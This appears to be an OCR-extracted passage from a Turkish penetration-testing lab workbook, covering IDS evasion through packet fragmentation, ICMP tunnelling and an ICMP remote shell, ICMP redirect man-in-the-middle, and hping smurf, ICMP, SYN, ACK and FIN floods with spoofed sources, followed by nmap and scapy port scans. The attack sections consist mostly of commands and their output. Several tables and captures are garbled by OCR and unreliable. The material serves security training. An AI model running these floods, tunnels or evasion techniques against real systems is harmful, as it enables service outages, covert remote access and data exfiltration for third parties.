paketlerin parcali olmamasi gerekir. Bu da giivenlik duvarlarinin paket birlestirme
ozelligine sahip olmalarini zorunlu tutar.

OpenBSD PF giivenlik duvarindaki scrub o6zelligi kullanilarak parcalanmis paketlerin
glivenlik duvarinda tekrar birlestirilmesi ve hedefe bu sekilde ulastirilmasi saglanabilir.

OpenBSD PF ve parcalanmis paketler
Scrub ozelligi

fragment reassemble: Gelen parcalanmis paketleri hedefe iletmeden 6nce birlestirerek
gondermekicin kullanilir. Bu secenegin yarari giivenlik duvarlari paket tamamlanmadan
kurallar1 tam uygulamayacag: icin fragment paketlerin giivenlik duvari kurallarina
gelmeden birlestirilmesi gerekir. Ek olarak fragment crop, fragment drop-ovl , no-df
seceneklerine de incelenebilir.

Parcalanmis Paketler ve Saldir Tespit Sistemleri

Parcalanmis paketler konusunda en sikintili sistemler IDS/IPS’lerdir. Bunun nedeni bu
sistemlerin temel isinin ag trafigi inceleme olmasidir. Saldir1 tespit sistemleri gelen bir
paketin/paket grubunun saldiri igerikli olup olmadigini anlamak i¢in gesitli kontrollerden
gecirir. Eger bu kontrolleri gecirmeden once paketleri birlestirmezse cok rahatlikla
kandirilabilir.

Mesela HTTP trafigi icerisinde “/bin/bash” stringi arayan bir saldir1 imzasi olsun. IDS
sistemi 80.porta gelen giden her trafigi inceleyerek icerisinde /bin/bash gecen paketleri
arar ve bu tanima uyan paketleri bloklar. Eger IDS sistemimiz paket birlestirme islemini
uygun bir sekilde yapamiyorsa biz fragroute veya benzeri bir ara¢ kullanarak /bin/sh
stringini birden fazla paket olacak sekilde (1. Paket /bin, 2.paket /bash)génderip IDS
sistemini atlatabiliriz.

Daha 6nceki uygulamalar da yaptigimiz gibi ngrep aracin IDS olarak kullanip fragroute

ile atlatabiliriz.
[lk olarak ngrep aracini kullanarak /etc/passwd string ifadesini yakalamaya calisalim.
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1 HTTRS1.0..

5,"“-' rootmhome-labis; ~

Goriuldugi tizere telnet ile kurulan baglantida /etc/passwd ifadesi yakalanmis ve ekrana
basilmistir. Ama ayni istek fragroute araci ile pargalanmis paketler halinde génderilirse
IDS gorevi goren ngrep araci bu istegi yakalayamayacaktir. Bu durumda istek IDS ‘e
takilmadan ve basarili bir sekilde gerceklesecektir. Asagidaki ekran goriintiisiinde ayni
istegin parcalanmis paketler halinde gonderilmesi gosterilmistir.

Ngrep parcalanmis olarak gelen poaketleri
birlestiremedigi icin ikinci istegi

yaknlayalniyor
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Uygulama No: BGA-UAG-13

TCP ve UDP Paketleri Kullanarak Traceroute Calismalari

Amagc: Hping araci kullanilarak TCP ve UDP paketleri ile hedef sistemin hangi yollardan
gectigini belirlemek

TCP Traceroute

root@kallavi:~# hping3 -T1 8.8.8.8 -p 53 -S -n

HPING 8.8.8.8 (eth0 8.8.8.8): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=192.168.2.1
hop=1 hoprtt=2.5 ms

hop=2 TTL 0 during transit from ip=85.102.0.1
hop=2 hoprtt=8.6 ms

hop=3 TTL 0 during transit from ip=81.212.78.1
hop=3 hoprtt=8.3 ms

hop=4 TTL 0 during transit from ip=212.156.119.246
hop=4 hoprtt=11.2 ms

hop=5 TTL 0 during transit from ip=81.212.217.87
hop=5 hoprtt=13.0 ms

hop=6 TTL 0 during transit from ip=72.14.217.166
hop=6 hoprtt=52.9 ms

hop=7 TTL 0 during transit from ip=209.85.240.162
hop=7 hoprtt=46.9 ms

hop=8 TTL 0 during transit from ip=72.14.234.11
hop=8 hoprtt=48.4 ms

hop=9 TTL 0 during transit from ip=209.85.254.112
hop=9 hoprtt=48.0 ms

-T parametresi ile TTL degerinin baslayacagi deger belirtilir. -P port numarasi, -S syn
baslikl paket. -n sadece numeric ¢ikti alinsin. -n kullanilmazsa dns isimlerinin ¢6zilip,
atlama noktalarini nereler oldugu gézlemlenebilir.

UDP Traceroute

Klasik traceroute uygulamalari yliksek seviyeli UDP portlarini kullandig1 icin bircok aga
giriste engellenmistir. Ornegin;

root@kallavi:~# traceroute 8.8.8.8

traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets
1 RT (192.168.2.1) 3.103 ms 3.611 ms 4.357 ms
2 85.102.0.1.dynamic.ttnet.com.tr (85.102.0.1) 12.751 ms 13.180 ms 14.616 ms
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3 81.212.78.1.static.turktelekom.com.tr (81.212.78.1) 16.772 ms 17.746 ms 26.532 ms
4 fth (212.156.119.246) 24.499 ms 24.991 ms 25.003 ms
5 81.212.217.87.static.turktelekom.com.tr (81.212.217.87) 26.067 ms 26.702 ms 27.968

ms
6 ***

Hping kullanarak istenilen UDP portundan hedefsisteme trace islemi yapilabilir. Ozellikle
bir cok ag da DNS sunucu oldugu i¢cin UDP 53 portuna dogru trafik agik birakilir.

root@kallavi:~# hping3 --udp -T 8.8.8.8 -p 53

HPING 8.8.8.8 (eth0 8.8.8.8): udp mode set, 28 headers + 0 data bytes

hop=1 TTL 0 during transit from ip=192.168.2.1 name=RT

hop=1 hoprtt=2.3 ms

hop=2 TTL 0 during transit from ip=85.102.0.1 name=85.102.0.1.dynamic.ttnet.com.tr
hop=2 hoprtt=7.5 ms

hop=3 TTL 0 during transit fromip=81.212.78.1 name=81.212.78.1.static.turktelekom.com.tr
hop=3 hoprtt=16.0 ms

hop=4 TTL 0 during transit from ip=212.156.119.246 name=fth

hop=4 hoprtt=9.8 ms

hop=5 TTL 0 during transit from ip=81.212.217.87
name=81.212.217.87.static.turktelekom.com.tr

hop=5 hoprtt=10.7 ms

hop=6 TTL 0 during transit from ip=72.14.217.166 name=UNKNOWN

hop=6 hoprtt=41.9 ms

hop=7 TTL 0 during transit from ip=72.14.217.254 name=UNKNOWN

hop=7 hoprtt=2042.0 ms

hop=8 TTL 0 during transit from ip=209.85.240.160 name=UNKNOWN

hop=8 hoprtt=6038.8 ms

hop=9 TTL 0 during transit from ip=209.85.240.162 name=UNKNOWN

hop=9 hoprtt=12038.1 ms

hop=10 TTL 0 during transit from ip=209.85.240.160 name=UNKNOWN

hop=10 hoprtt=18037.0 ms
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Uygulama No: BGA-UAG-14

|IP Saklama Amacl TOR ve Proxy Kullanimi

Amag: IP adresinin hedef sistem tarafindan bilinmesi istenmeyen durumlarda kullanilan
TOR proxy aracinin kullanilmasi

[P Adresi 6grenme:

root@kallavi:~# curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
85.102.6.49

Kali Linux TOR kurulumu

# apt-get install tor
# /etc/init.d /tor start

root@kallavi:~# netstat -antlp | grep LISTEN

tecp 0 0127.0.01:8118 0.0.0.0:* LISTEN  15029/privoxy
tcp 0 0000022 0.0.0.0:* LISTEN  3541/sshd
tcp 0 0127.0.0.1:9050 0.0.0.0:* LISTEN  15102/tor

HTTP isteklerini proxyden yonlendirmek i¢in sisteme http_proxy ayari girilmesi:

# export http_proxy='127.0.0.1:8118'
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ICMP ve Giivenlik Zafiyetleri

Uygulama No: BGA-UAG-15

iste§e Goére ICMP Paketi Uretimi

Amag: Istenilen tiirde ICMP paketlerin iiretilmesi, hedef adrese iki adet icmp-request
istegi gobndermek

Asagidaki uygulamada hedef adrese iki adet icmp-request gonderilmistir. Komutun
kullanimi ve sonucu asagidaki tabloda gosterilmistir.

root@kallavi:~# hping3 -c 2 -1 --icmp 8.8.8.8

HPING 8.8.8.8 (eth0 8.8.8.8): icmp mode set, 28 headers + 0 data bytes
len=46 ip=8.8.8.8 ttl=48 id=0 icmp_seq=0 rtt=53.8 ms
len=46 ip=8.8.8.8 tti=48 id=0 icmp_seq=1 rtt=59.1 ms

--- 8.8.8.8 hping statistic ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 53.8/56.5/59.1 ms

Man hping komutu c¢iktis1 incelenerek diger ICMP tip ve kod alanlar1 da parametre olarak
kullanilabilir.
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Uygulama No: BGA-UAG-16

ICMP Tunelling (ICMP Uzerinden TCP/HTTP Paketleri Gecirme)

Amac: ICMP protokolii tizerinden TCP/HTTP paketleri gecirmek

Sizma testlerinde i¢ ag1 yetkisiz olarak disaridan erisime agmak i¢in ya da i¢ agdan
disariya veri kacirmak icin bu yontem kullanilabilir. ptunnel uygulamas: ile ICMP
protokolii lizerinden tiinel kurularak TCP paketleri ICMP echo requestve reply paketleri
ile kullanilarak tiinellenebilir.

ptunnel sunucu kurulumu

Oncelikle gerekli paketler kurulur.

# apt-get update
# apt-get install libpcap-dev

# apt-get install make

Uygulama kaynak kodu indirilir ve kurulum gerceklestirilir.

# wget http://www.cs.uitno/~daniels/PingTunnel /PingTunnel-0.72.tar.gz
# tar -xvf PingTunnel-0.72.tar.gz
# cd PingTunnel

# make
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Baglanti Kurulumu ve tiinelleme

Proxy’nin kurulu oldugu servisten hedef adrese ssh baglantisini tiinellemek icin asagidaki
komut kullanilmalhdir.

# ./ptunnel -p proxy_adresi-lp 8000 -da baglanti_kurulacak_adres -dp 22

Tiinel kurulduktan sonra 8000/tcp portu iizerinden ssh baglantisin1 tiinellemek igin
acilan pencereye asagidaki komut yazilir.

# ssh -p 8000 localhost

Uygulama No: BGA-UAG-17

ICMP Smurf Denial of Service Saldirisi Gergeklestirme

Amacg: Hedef sistemin ip adresi spoof edilerek belirli bir ip adresine broadcast IP
adreslerine icmp flood baslatilarak dénen cevaplarin kurban makinenin ip adresine
saldirmasi

Hping ile bga.com.tr web sunucusuna ICMP smurf saldirisi gerceklestirme;

root@kallavi:~# hping3 --icmp --flood -a 50.22.202.162 85.123.255.255

HPING 85.123.255.255 (ethl 85.123.255.255): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

C

--- 85.123.255.255 hping statistic ---

212687 packets transmitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

bga.com.tr IP adresinden geliyormus gibi 85.123.255.255 seklindeki bir /16 subnet ip
adresine icmp paketleri gondermek ve donecek icmp cevaplar ile bga.com.tr web
sunucusuna flood saldirisi gerceklestirmek.
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Uygulama No: BGA-UAG-18

ICMP Redirect ile L3 Seviyesinde Araya Girme Saldirisi

Amag: ICMP Redirect yontemi ile 3. katmanda Araya Girme Saldirisi

F.outing table of Wl

ik
I

Simdi M1 bilgisayarinin M2 bilgisayarina ulagsmak istedigini diisiinelim ve M1 igin
varsaylilan ag gecidinin R1(Router1)olarak ayarlandigini varsayalim.

M1 M2 ye ilk paketini yollamak i¢cin hazirliklara baslar, paketi olusturur ve kendi yerel
yonlendirme tablosunu kontrol eder, eger M2 kendi yerel aginda ise paketi direkt
yollamaya calisir(6nce mac adresini elde ederek islemi mac adresleri lizerinden
gerceklestirir vs). Farkhh bir durumda yani M2 M1 ile farkh bir agda ise ona ait bir
yonlendirme satir1 var mi diye kontrol eder ve o satirda belirlenmis gecit ka pisina paketi
yollar. Bu yonlendirme satirlar1 nasil olabilir derseniz en basit sekli ile resim-2a y1
inceleyebilirsiniz.

Destination Netmask G ateway Interface
0.0.0.0 0.0.0.0 195,120,226 59 | ppp1l
(LR A 2550000 10002 b
1270001 350000 127001 L]
155 13023669 | 255.255.255.255 | 62.10.255.139 repl

Kullandigimiz isletim sistemine gore yerel yonlendirme tablosunu okuma komutu da
degisir,

Windows i¢in
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route print

Unix/Linux’ lar icin ise

netstat -r komutunu kullanabilirsiniz.

M17’in M2 icin kullanacagi gecit kapisinin R1 olarak ayarlandigini belirtmistik, burada M1
ilk paketini M2 ye yollamak i¢cin R1 e teslim eder. Burada R1 paketin M2 ye gitmesi icin
hangi kapiy1 kullanacagini kendi yonlendirme tablosunabakarak karar verir ve paketi M2
ye ulastirmak icin R2 ye teslim eder.

Ini2 F1 Foouting table of IVl
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Burada M1, R1 ve R2 ayni ag lizerinde iseler ICMP Redirect mesaji olusur, zaten bizimde
incelememiz bununiizerineidi. Sekil-1b de de agik¢a goriildiigi gibiilk olarak R1, paketin
M2 ye ulasmasi icin kendinde tanimli gecit kapis1 R2’ye paketi teslim ediyor ve sekil-1c
de gorebileceginiz gibi M1 e bir ICMP REDIRECT paketi yollayarak, bak kardesim senin
M2 ye gidebilmen icin R2 kapisin tercih etmen daha hayirhdir sen bundan sonra M2 ye
ulasmak i¢in beni degil de R2 yi tercih eder.

iz 1 Fouting tahle of Wil

[CIWP redirect

[l

Rl

Son olarak da sekil-1d de M1 in yerel ydnlendirme tablosunun degistigini ve M2 i¢in gecit
kapisinin R1 degilde R2 olarak belirlendigini goriiyoruz. Tabii bu mesajinda bir 6mri
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vardir, NT sistemler icin bu zaman aralig1 yaklasik 10 dakikadir yani 10 dakika sonra eger
yeni bir ICMP Redirect mesaji ile karsilasmazsa M1 ilk bastaki hale donecektir ve M2 ye
gondermek istedigi paketleri R2 yerine R1 e yollayacaktir, tabii R1 yine uyaracak bana
degil R2 ye yolla diyecektir.

e Routing tatile of M1
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a2 El
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Icmp rediret mesajlari Icmp Type 5 tipi paketlerdir.

Icmp Code Aciklamasi
] Redirect for Metwark Errar.
1 Redirect for Hast Errar.
2 Redirect for Type of Service and Netwark Error.
3 Redirect for Type of Serice and Host Error.

ICMP Redirect mesajlarinin kétiiye Kullanimi

Ornek Uygulama:

=loj x|
sing -red -5 192.168.2.1 -gw 192.168.2.222 -dest 74.125.39.104 -x
st -prot icmp 192.168.2.25
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» Frame 3 (70 byres on wire, 70 byres captrured)
s Ethernet 1I, Src: Vmware _28:41: dO (a0 ""’8:41 d9), Dst: 00:1F:d0:5a:1b:96 (00:1f:d0:53:1b:96)
5 Internet Protocol, Src: 192.168.2.1 (192.168.2.1), Dst: 192.168.2.25 (192.,168.2.2%)
Internet control Message Protoc 01
: 5 (Redirect)
: 1 (rRedirect for host)

74.125.39.104 (74.125.39.104)

q(;drr 1rnqth 20 r,Tr

s oifferentia fces Field: Ox00 (oscP Ox00: pefaulr; ECN: O0x00)

Identification:
9 Flags: Ox00

Fragment offset: O

Time to 1ive

Oxd4a2f (18991)

pProtocol: IC 4
checksum: ©

+ Header

4 Internet Control M
Type: 8 (Echo (p
Code: (

age rro\n al
'j_l reques t)

[correct]
Identifier: J
sequence number: O (Ox0000

C:\Documents and Settings\Administrator>route print
IPU4 Rnutp Tablp

lntcvfare
Loopback interface

UMware Uirtual Ethernet Adapter for UMnet8

UMware Uirtual Ethernet Adapter for UMnett

UMware

.08
.88

Routes:

Network Destination

#.8.90.8
18.18.108.9
?4.125.39.184
27.8.8.8
169.254.08.8
192.168.2.9
192.168.2.25
192.168.2.255
192.168.15.8
192.168.15.1
192.168.15.255
192.168.101 .8
192.168.1081 .1
192.168.101 .255
192.168.162.8
192.168.162.1
192.168.162.255
224.0.8.90
224.8.0.9
224.86.8.0
224.0.0.98
55.255.255

2

Dofaulr Gateua)-.

VirtualBox TAP Adapter

ﬂP Uln?? ﬂdaptcr UB

Netmask

8.8.0.08

255. }55 255.0
255. )53 5.255

255.255.08.08
55.255.255.0
e rS.ZSS.ZSS
.255.255.255
?5‘ -255 355.8

€ 5
?QS.?QE ?qq ﬂ

))-?))-.)S ?
255.2 S ?SS.ZSS
255.255.255.09
255 .255.255.255
255 .255.255.255
249.08.0.9
2486.8.8.90
249.08.0.0
2490.06.0.90
5.255.255
ZJJ 2Jr

.ZJJ-?

S T
192.168.2.1

Uirtual Ethernet Adapter for UMnetl
Realtek RTL8168C<(P>/8111C<(P> PCI-E Gigabhit Ethernet

Gal.c'.my

192. 168 2.
192.168. 20
192. 168.2.222
127.8.6.1
192.168.2.25
192.168.2.25
127.8.8.1
192.168.2.25
192.168.15.1
127.0.0.1
192.168.15.1
192.168.1061 .1
127.6.8.1
192.168.161 .1
192.168.162 .1
127.8.8.1
192.168.162.1
192.168.2.25
192.168.15.1
192.168.1081 .1
192.168.162.1
192.168.2.25
192.168.15.1
192.168.15.1
192.168.15.1
192.168.1081 .1
192.168.162 .1

— Packet Scheduler» Miniport
Packet Scheduler Miniport

lnturfdcc Metric

192.168.2.
127.8.8.
192.168.2. 2
192.168.15.
127.M.U.1
192.168.15.1
192.168.161 .1
127.86.8.1
192.168.101 .1
192.168.162 .1
127.6.8.1
192.168.162.1
192.168.2.25
192.168.15.1
192.168.181 .1
192.168.162.1
192.168.2.25

?
192.168.15.1
6

192.168.101 .1
192.168.162.1
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Uygulama No: BGA-UAG-19

ICMP Uzerinden Uzaktan Telnet/SSH Benzeri Sistem Yodnetimi

Amag: ICMP protokolii kullanilarak uzaktaki sistemlerin “ISHELL” uygulamasi ile
yonetilmesini saglamak (client to server)

ISHELL server:
root@server:~/ISHELL-v0.2# ./ishd -i 65535 -t 0 -p 1024

ISHELL client:

root@client:~/ISHELL-v0.2# ./ish -i 65535 -t 0 -p 1024 192.168.2.7

ICMP Shell v0.2 (client) - by: Peter Kieltyka

Connecting to 192.168.2.7...done.

#w

10:18:58 up 4:27, 3 users, load average: 0.00, 0.01, 0.05

USER TTY FROM LOGIN@ IDLE JCPU PCPUWHAT

root tty7 :0 05:51 4:27m 31.45s 0.06s gdm-session-wor
root pts/0 :0.0 05:51 9:34 0.13s 0.13s bash

root pts/2 192.1682.3 06:03 3:15 0.85s 0.85s -bash

-i : session numarasi atanir. default 1551 olarak kullanilir.
-d : debug modda c¢alistirilabilir.

-t : icmp type segilir.
-p : paket boyutu belirtilir.
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Uygulama No: BGA-UAG-20

ICMP Flood DDoS Saldirisi Gerceklestirme

Amag: Hedef sunucuya yogun sekilde ICMP request gonderilerek hedefin servis disi
birakilmasi

-Hping
-Wireshark
-Tcpdump

Hping ile gercekip adresimizden hedefip sunucuya 1 sn de 10 icmp request yapalim. Cikti
incelendiginde cevaplarin bizim ip adresine dondiigii gozlemlenecektir.

root@Kkallavi:~# hping3 --icmp bga.com.tr -i u1000

HPING bga.com.tr (ethl 50.22.202.162): icmp mode set, 28 headers + 0 data bytes

len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162
len=46 ip=50.22.202.162

ttl=42 id=1669 icmp_seq=0 rtt=150.1 ms
ttl=42 id=1670 icmp_seq=1 rtt=149.9 ms
ttl=42 id=1672 icmp_seq=2 rtt=150.3 ms
ttl=42 id=1679 icmp_seq=3 rtt=152.4 ms
ttl=42 id=1681 icmp_seq=4 rtt=152.1 ms
ttl=42 id=1682 icmp_seq=5 rtt=152.6 ms
ttl=42 id=1683 icmp_seq=6 rtt=152.2 ms
ttl=42 id=1684 icmp_seq=7 rtt=151.7 ms
ttl=42 id=1685 icmp_seq=8 rtt=151.2 ms
ttl=42 id=1686 icmp_seq=9 rtt=151.0 ms
ttl=42 id=1690 icmp_seq=10 rtt=150.1 ms
ttl=42 id=1691 icmp_seq=11 rtt=152.2 ms
ttl=42 id=1692 icmp_seq=12 rtt=151.9 ms
ttl=42 id=1693 icmp_seq=13 rtt=150.8 ms
ttl=42 id=1694 icmp_seq=14 rtt=150.9 ms

Hping ile rastgele ip adreslerinden bga.com.tr sunucusuna icmp flood saldirisi
gerceklestirelim.

root@Kkallavi:~# hping3 --icmp bga.com.tr --flood --rand-source

HPING bga.com.tr (ethl 50.22.202.162): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

C

--- bga.com.tr hping statistic ---

97418 packets transmitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms
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Bazi sistemler hping tarafindan tretilen icmp paketlerini tanir ve otomatik drop eder.
Bunu atlatmak i¢in normal bir ping komutu ile normal bir icmp request gergeklestirilip
wireshark ile bu talep binary olarak kaydedilip data olarak hping’ e asagidaki gibi
verilerekilgili giivenlik duvaribypass edilerek icmp flood saldiris1 yapilabilir.

TCP/UDP Protokolleri ve Giivenlik Zafiyetleri

Uygulama No: BGA-UAG-21

TCP Uzerinden DoS/DDoS Saldirilari Gergeklestirme

Amagc: Hedefe TCP bayrakl set edilmis paketlerin yogun sekilde gonderilmesi ve hedef
sistem veya servislerin hizmet dis1 kalmasi

TCP FLOOD
SYN FLOOD ACK FLOOD FIN FLOOD
seklinde bir tablo ile agiklanabilir.

SynFlood: Hping araci kullanilarak hedef sistem veya servis e yogun “SYN” bayrakl paket
gonderimi yapilacaktir. TCP flood saldirilarin en etkili saldir1 tipidir.

root@Kkallavi:~# hping3 -S bga.com.tr -p 80 --flood

HPING bga.com.tr (ethl 50.22.202.162): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

C

--- bga.com.tr hping statistic ---

144240 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

AckFlood: Hping araci kullanilarak hedef sistem veya servis e yogun “ACK” bayrakl paket
gonderimi yapilacaktir. Hedef sistem 6niinde Firewall/IPS gibi statefull ¢alisan bir sistem
varsa ACK paketlerine karsi cevap donmeyecektir veya RST paketi donecektir.

root@kallavi:~# hping3 -A bga.com.tr -p 80 --flood

HPING bga.com.tr (ethl 50.22.202.162): A set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

C

--- bga.com.tr hping statistic ---
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149706 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

FinFlood: Hping araci kullanilarak hedef sistem veya servis e yogun “FIN” bayrakl paket
gonderimi yapilacaktir. Hedef sistem 6niinde Firewall/IPS gibi statefull ¢alisan bir sistem
varsa ACK paketlerine karsi cevap donmeyecektir.

root@kallavi:~# hping3 -F bga.com.tr -p 80 --flood

HPING bga.com.tr (ethl 50.22.202.162): F set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

C

--- bga.com.tr hping statistic ---

115929 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

Uygulama No: BGA-UAG-22

Gergek/sahte IP Adresleri Kullanarak SYN Flood Saldirisi Gergeklestirme

Amacg: Hedef sisteme gercek ve sahte ip adreslerinden gelen SYN Flood saldirisi
gerceklestirmek ve sistem veya servisin devre disi kalmasini saglamak

Hping araci ile SYN bayrakli TCP paketleri iiretilir. Kaynak ip adresleri gercek ve sahte
olacak sekilde saldir1 gerceklestirilecektir.

Gergek IP adresiile saldir i¢in;

root@kallavi:~# hping3 -S -p 80 bga.com.tr-c 5
HPING bga.com.tr (ethl 50.22.202.162): S set, 40 headers + 0 data bytes
--- bga.com.tr hping statistic ---

5 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

Sahte IP adresiile saldir1 igin;

root@Kkallavi:~# tcpdump -i eth1 host 50.22.202.162
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tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
512,length 0

win 512, length 0

win 512, length 0

win 512, length 0

win 512, length 0

~C

5 packets captured

5 packets received by filter
0 packets dropped by kernel

14:08:59.588716 IP 34.89.131.1.1257 > bga.com.tr.http: Flags [S], seq 253344621, win
14:09:00.592377 IP 254.211.134.114.1258 > bga.com.tr.http: Flags [S], seq 37034618,
14:09:01.594975 IP 125.105.64.154.1259 > bga.com.tr.http: Flags [S], seq 475981124,
14:09:02.595619 IP nothing.attdns.com.1260 > bga.com.tr.http: Flags [S], seq 994419261,

14:09:03.596972 IP 110.49.49.140.1261 > bga.com.tr.http: Flags [S], seq 2017276264,

*#* sahte - random ip adresleri kullanarak gerceklestiriimemis ornek hatah
gozukuyor.

Uygulama No: BGA-UAG-23

Gergek/sahte IP Adresleri Kullanarak FIN Flood Saldirisi Gergeklestirme

Amacg: Hedef sisteme gercek ve sahte ip adreslerinden gelen FIN Flood saldirisi
gerceklestirmek

Hping araci ile FIN bayrakli TCP paketleri iiretilir. Kaynak ip adresleri gercek ve sahte
olacak sekilde saldir1 gercgeklestirilecektir.

Gergek IP adresiile saldir i¢gin;

root@Xkallavi:~# tcpdump -i eth1 host 50.22.202.162

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes

length 0

14:12:39.767311 IP 192.168.2.8.1527 > bga.com.tr.http: Flags [F], seq 1099958444, win 512,
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length 0
length 0
length 0
length 0
length 0

length 0

14:12:40.767799 1P 192.168.2.8.1528 > bga.com.tr.http: Flags [F], seq 363255338, win 512,
14:12:43.865446 IP 192.168.2.8.1979 > bga.com.tr.http: Flags [F], seq 1398413482, win 512,
14:12:44.866085 IP 192.168.2.8.1980 > bga.com.tr.http: Flags [F], seq 526067675, win 512,
14:12:45.866712 IP 192.168.2.8.1981 > bga.com.tr.http: Flags [F], seq 673496961, win 512,
14:12:46.867140 IP 192.168.2.8.1982 > bga.com.tr.http: Flags [F], seq 1271887154, win 512,

14:12:47.868412 IP 192.168.2.8.1983 > bga.com.tr.http: Flags [F], seq 103684754, win 512,

Sahte IP adresiile saldir1 i¢in;

root@kallavi:~# tcpdump -i eth1 host 50.22.202.162

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
14:14:01.301168 1P 44.216.120.224.2859 > bga.com.tr.http: Flags [F], seq 785799702,
512, length 0

14:14:02.302575 1P 187.222.8.49.2860 > bga.com.tr.http: Flags [F], seq 199814599,
512, length 0

14:14:03.303034 IP 10.31.105.161.2861 > bga.com.tr.http: Flags [F], seq 1756950406,
512, length 0

14:14:04.303484 IP 80.138.104.12.2862 > bga.com.tr.http: Flags [F], seq 691578948,
512, length 0

14:14:05.304044 1P 0.145.44.137.2863 > bga.com.tr.http: Flags [F], seq 164479259,
512, length 0

win

win

win

win

win
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Uygulama No: BGA-UAG-24

TCP Connection Flood Saldirisi Gergeklestirme

Amagc: Nping araci kullanilarak sahte ip adresleri degilde gercek ip adresleri kullanilarak
hedef sisteme saldir1 degilde, oturum limitlerinin 6l¢iilmesinin test edilmesi

TCP connection flood saldirilari/testleri hedef sistemin oturum limitlerini
0lgcmek/gormekicin kullanilabilir.

root@Kkallavi:~# nping --tcp-connect bga.com.tr -p 80 --rate 5000 -c 100000

Starting Nping 0.6.25 ( http://nmap.org/nping ) at 2013-06-11 16:03 EEST
SENT (0.0103s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
SENT (0.0134s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
SENT (0.0156s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
SENT (0.0173s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
SENT (0.0194s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
SENT (0.0212s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
SENT (0.0226s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
SENT (0.0234s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
SENT (0.0243s) Starting TCP Handshake > bga.com.tr:80 (50.22.202.162:80)
Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A

TCP connection attempts: 498 | Successful connections: 0 [ Failed: 498 (100.00%)
Tx time: 0.19182s | Tx bytes/s: 207699.04 | Tx pkts/s: 2596.24

Rx time: 0.19182s | Rx bytes/s: 0.00 | Rx pkts/s: 0.00

Nping done: 1 IP address pinged in 0.20 seconds

Yukaridaki 6rnekte es zamanh 5000 tcp baglantisi istegi gonderilmekte ve eger rate
limiting sistemi yoksa ¢ok kisa siirede hedef sistemin oturum limitlerini doldurabilirsiniz,
syn-cookie 6nlemi olsa dahi.
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Uygulama No: BGA-UAG-25

TCP Protokoli Kullanarak Port Tarama Yontem ve Araglari

Amacg: Nmap, scapy gibi araclarin detaylari ve tarama yontemleri
Adimlar:

1. Adim: Nmap araci kullanilarak bga.com.tr sitesinin TCP 21,80,443 portlarini tarayalim;

root@bt:~# nmap bga.com.tr -p 22,80,443 -sS

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-21 10:16 EEST
Nmap scan report for bga.com.tr (50.22.202.162)

Hostis up (0.13s latency).

PORT STATE SERVICE

22 /tcp filtered ssh

80/tcp open http

443 /tcp closed https

Nmap done: 1 IP address (1 hostup) scanned in 2.48 seconds

-sS parametresiyle hedef siteye TCP SYN paketleri gonderilerek SynScan yapildig:
belirtilir.

2.Adim: Nmap kullanarak calisan servis siirtimlerinin belirlenmesi

root@bt:~# nmap google.com -p 80 -sV

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-21 10:23 EEST
Nmap scan report for google.com (64.15.117.23)

Hostis up (0.022s latency).

PORT STATE SERVICE VERSION

80/tcp open http  Google httpd 2.0 (GFE)

Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 hostup) scanned in 6.58 seconds

at

-sV parametresiyle hedef sistemin web server olarak Google httpd 2.0 versionu
kullanildig1 goriliir.
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3.Adim: Nmap kullanarak belirli IP araligindaki belirli portaraligi tarama

root@bt:~# nmap bga.com.tr -p 1-3389 --open -PN

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-21 10:27 EEST
Nmap scan report for bga.com.tr (50.22.202.162)

Hostis up (0.15s latency).

Notshown: 3383 closed ports, 4 filtered ports

PORT STATE SERVICE

53/tcp open domain

80/tcp open http

Nmap done: 1 IP address (1 hostup) scanned in 20.86 seconds

4.Adim: Scapy kullanarak porttarama

TCP/80 portuna SYN bayrakl paket gonderimi

# scapy
Welcome to Scapy (2.0.0.10 beta)
>>> sr(IP(dst="192.168.0.0/24") /TCP(dport=80, flags="S"))

Nmap ile istenilen tiirde TCP paketleri lireterek tarama yapilamaz ya da Hping kullanarak
